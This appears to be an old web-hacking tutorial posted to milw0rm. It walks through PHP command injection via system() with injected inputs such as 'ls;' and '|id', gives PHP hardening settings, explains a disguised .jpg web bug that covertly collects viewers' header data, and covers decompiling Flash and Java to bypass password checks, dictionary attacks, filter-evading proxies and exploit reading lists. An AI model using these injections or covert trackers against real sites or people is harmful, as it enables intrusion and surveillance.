--[< Execution Of Shell Commands >]-----------------------------------------

Some scripts take user input and use it in a function for command execution. I hope I don't have to
tell you what that can mean for you, if the admin doesn't filter everything.

Let's take that script as an example:

<p>Write a message in a file</p>
<form action = "write_in_file.php" method="get">
<input type="text" name="input">
<input type="submit" value="send">

This script is so far nothing special. It just offers you to write a message into a file on the server.
Let's take a look at the write_in_file.php

system("$HTTP_GET_VARS['input'] >> message.txt");

But what would happen if your input would be something like:


-->system(ls;hello >> message.txt);

The system function would execute 2 commands. "hello" would be written into the file message.txt but
also the ls command would get executed which shows you a directory listing of the current directory.

-allows multiple commands to be executed (in a row) on a Unix system.
 Example: #id;cat message.txt

-this pipe character helps you to execute multiple commands at a time in a single request.
 Example: #cat access_log|id

--[< Protecting PHP >]------------------------------------------------------

Some of the attacks described above work perfectly on a default PHP installation.
But the programmer also has ways to protect themselves against these types of attacks.

Things you should do as an admin:

.#Set register_globals off-----------------------------------

-no global variables for user input


With register_globals off PHP will not create a variable "$ex" only $HTTP_GET_VARS['ex'].

.#Set safe_mode on-------------------------------------------

-defines a large variety of restrictions

.-the ability to disable functions like exec(), system(),readfile(),...
.-restricts file access based on ownership of script and target file

.#Set open_basedir-------------------------------------------

.-you can only open files inside the specified directories

.#Set display_errors off, log_errors on----------------------

.-makes it harder for an attacker to get information about the scripts and how they work

.#Set allow_url_fopen off------------------------------------

.-stops remote files functionality


.-helps against SQL injection attacks

.#Filter input-----------------------------------------------

.-check that the input matches a pattern for acceptability
.-if possible strip out all metacharacters: <>":;'}{][|\)(*&^%$#!`

--[< Web Bugs >] -----------------------------------------------------------

A web bug can be any graphic (often size 1x1 pixel) on a web site or in an email that collects
information about users that have a look at it.
That can be all header information.

To create such a web bug you'll need:

 ->web hosting or your own server which allows you to use:
 ->.htaccess files
 ->php scripts
 ->the gd library has to be installed

The first thing to do is to create a new folder. Then you put a ".htaccess" file with this content in the

ForceType application/x-httpd-php

That tells the webserver to treat every file in this folder as a php file even if the extension
is ".jpg" or ".png" or whatever.
Now you have to put your image file (for example sigpic.jpg (the one that is going to be shown)) into the
same folder.

Time to open your favourite editor. Create a new file and just save it for example as "sig.jpg".
This is the file with all the php code.

It is important that you start the file off with
  header("Content-type: image/jpeg");

Now it gets treated as a jpg file by the browser.
After that line you can write whatever php code you want.

At the end of the file you have to add:
  $BGImage = imagecreatefromjpeg("sigpic.jpg");

So the image gets shown and nobody even has a clue that something else
is going on in between.

--[< Faking Cookies >] -----------------------------------------------------

 - have a look at the "Proxomitron" section

 Tools       --> Preferences
             --> Advanced
             --> Cookies
             --> Manage Cookies
             --> Edit

JavaScript Inline Debugger
 - have a look at the "JavaScript Inline Debugger" section

--[< Getting the source code of ".swf" Flash files >] ----------------------

Sometimes you have to get the source code of a ".swf" file to get for example around
a password protection.
The first thing is to download the ".swf" file.
Have a look at the url or the source code to find its location.
The Internet Explorer saves it in the folder "Temporary Internet Files".

When you downloaded it, open it with a .swf decompiler.
My weapon of choice is "Sothink SWF Decompiler".
I have no clue if it is a good one but so far it worked quite well.

--[< Getting the source code of ".class"/".jar" Java applet files  >] ------

The first step is again to download the class file.
This time you open it with .java decompiler.
My weapon of choice is "DJ Java Decompiler".

If a ".jar" file is specified just download and rename it to ".rar".
Then you can see all files that are in it.

--[< Passwords (guessing, brute force, dictionary attack) >] ---------------

Sometimes web sites are really secure and there is no way to exploit them.
Often this doesn't stop you from still getting access to protected areas.
What is the best protecting for, if the user has choosen a weak password.
Collect information about the user and about the website the account is at.
This might give you an idea of what password the person has choosen.
There are also wordlists out there that are nothing more than dictinaries with common
passwords used. Those can be used for brute force attacks.

Even if you have hashed password you still need a string representing that hash.
Your two options are:

brute force
 - most programms try all combination of chars you want them to try until they find
   the password
   - if a strong password is choosen that is pretty useless

dictionary attack
 - this is the same as a brute force attack
 - the difference is that wordlists are used with the most common passwords
 - if you have a huge wordlist this attack is quite efficent

Two types of common hashes:

       MD5 - 32 chars
           - digits
           - upper / lowercase letters from a to f

UNIX Crypt - 13 chars
           - digits, dot, letters
           - upper / lowercase letters

--[< Tools >] --------------------------------------------------------------

- a cgi script that acts as a HTTP or FTP proxy
  - useful to get around filtering software which doesn't allow you to visit
    certain web sites
  - just upload it to your web space and use it to access the forbidden sites

- a free HTTP web-filtering proxy
  - it allows you to edit all types of HTTP-header and create own new ones
    -> Cookies, Referer, User-Agents, X-Forwarded-For, ...

/*php shells*/
 search google
--[< Buffer Overflow >] ----------------------------------------------------

Smashing The Stack For Fun And Profit [Phrack][1996] - Aleph One
Advanced buffer overflow exploit - Taeho Oh
Advanced Buffer Overflow Methods - Izik
The Frame Pointer Overwrite [Phrack] - klog
Overwriting the .dtors section - Juan M. Bello Rivas

--[< Format String >] ------------------------------------------------------

Exploiting Format String Vulnerabilities - scut, team teso
Advances in format string exploitation [Phrack] - gera
Format Strings - xgc/dx A.K.A Thyago Silva

--[< Heap Overflow >] ------------------------------------------------------

Advanced Doug lea's malloc exploits [Phrack] - jp
Smashing The Heap For Fun And Profit [Phrack] - Michel "MaXX" Kaempf
Exploiting The Wilderness - Phantasmal Phantasmagoria
Once upon a free()... [Phrack] - anonymous
w00w00 on Heap Overflows - Matt Conover (a.k.a. Shok) & w00w00 Security Team

--[< Integer Overflow >] ---------------------------------------------------

Basic Integer Overflows [Phrack] - blexim

--[< Other interesting tutorials you should read >] ------------------------

GCC 3.x Stack Layout (german) [2003]
Reverse Engineering with LD_PRELOAD - Izik
Writing Shellcode - zillion

One-way Web Hacking - Saumil Shah

--[< Thx! >] ---------------------------------------------------------------

@Digital Acid: thx for fixing some of my spelling errors in the tutorial!

--[< History >] ------------------------------------------------------------

/* v1.7 */
#- Mime Type Spoofing

/* v1.6 */
#- Header Based Exploitation
#- SQL-Injection

#- Cross-Site Request Forgeries (CSRF)
#- Apache - Unknown Mime Type Trouble

# milw0rm.com [2006-03-15]